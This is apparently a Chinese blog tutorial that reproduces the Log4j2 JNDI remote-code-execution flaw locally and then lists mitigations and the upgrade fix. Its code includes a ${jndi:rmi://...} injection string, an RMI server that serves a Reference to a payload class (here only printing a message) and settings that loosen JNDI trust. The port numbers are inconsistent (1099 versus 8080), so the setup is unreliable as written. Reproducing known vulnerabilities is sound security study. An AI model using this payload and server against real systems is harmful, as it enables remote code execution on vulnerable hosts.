Apache Log4j2远程代码执行漏洞复现

TOApache Log4j2远程代码执行漏洞复现

漏洞原理

log4j2版本 < log4j-2.15.0-rc2 可由JNDI注入实现远程代码执行。
影响版本Log4j2.x<=2.14.1漏洞复现
漏洞原理的分析:

创建复现工程demo

引入log4j 的jar包

版本在log4j 2.0~2.14.1范围里,demo中引入的版本是2.13.3,如下:

	<dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.13.3</version>
    </dependency>

编写测试用例和jndi/rmi远程服务[或者叫黑客要做的服务]

1.log4j2 测试用例

package com.example.demo.log4j2;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @author lify
 * @version 1.0
 * @className Log4j2Test
 * <p>
 * TODO
 * @date 2021/12/10.
 */
public class Log4j2Test {
    private static Logger logger = LogManager.getLogger(Log4j2Test.class);

    public static void main(String[] args) {
//        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
        String name = "${java:vm}";
//        name = "${java:version}";
        name = "${java:os}";
        logger.error("hello,{}", name);

        name = "${jndi:rmi://127.0.0.1:8080/rmiExecute}";//# 黑客端的一个jdni的服务地址
        logger.error("hello,{}", name);
    }
}

2.远程rmi执行的服务

rmi服务

package com.example.demo.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;

/**
 * @author lify
 * @version 1.0
 * @className RmiServer
 * <p>
 * log4j2远程执行漏洞复现:rmi远程服务server
 * @date 2021/12/12.
 */
public class RmiServer {

    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(new Reference("com.example.demo.rmi.RmiExecute", "com.example.demo.rmi.RmiExecute", null));
            registry.bind("rmiExecute", referenceWrapper);
            System.out.println("rmi Server 'rmiExecute/1099' Started!\n");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

具体执行[模拟输出一句话‘触发执行黑客的服务…’]

package com.example.demo.rmi;

/**
 * @author lify
 * @version 1.0
 * @className RmiExecute
 * <p>
 * 模拟远程黑客端执行
 * @date 2021/12/12.
 */
public class RmiExecute {
    static {
        System.out.println("触发执行黑客的服务.....");
    }
}

注意事项:
1.远程rmi服务的名称rmiExecute和端口号8080,在Log4j2Test的测试中需要一致;
2.如果以上执行不成功,可以在Log4j2Test放开:

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("java.rmi.server.useCodebaseOnly", "false");

漏洞复现

Connected to the target VM, address: '127.0.0.1:50415', transport: 'socket'
12:37:15.687 [main] ERROR com.example.demo.log4j2.Log4j2Test - hello,Mac OS X 10.16 unknown, architecture: x86_64-64
触发执行黑客的服务.....
12:37:15.695 [main] ERROR com.example.demo.log4j2.Log4j2Test - hello,${jndi:rmi://127.0.0.1:8080/rmiExecute}
Disconnected from the target VM, address: '127.0.0.1:50415', transport: 'socket'

Process finished with exit code 0

如下图

Apache Log4j2远程代码执行漏洞复现
rmi远程服务的代码已经在log4j2的日志输出时执行了;
是不是挺可怕的?!!!

漏洞解决办法

1.临时处理办法:

(1). jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2). log4j2.formatMsgNoLookups=True
(3).系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

2.升级log4j2版本

Log4j 官方非常重视该漏洞,目前已经发布了最新版本解决了该漏洞,使用log4j-2.15.0即可

上一篇:如何更改 ReadyAPI 日志文件的位置?


下一篇:log4j 小名叫 log4shell?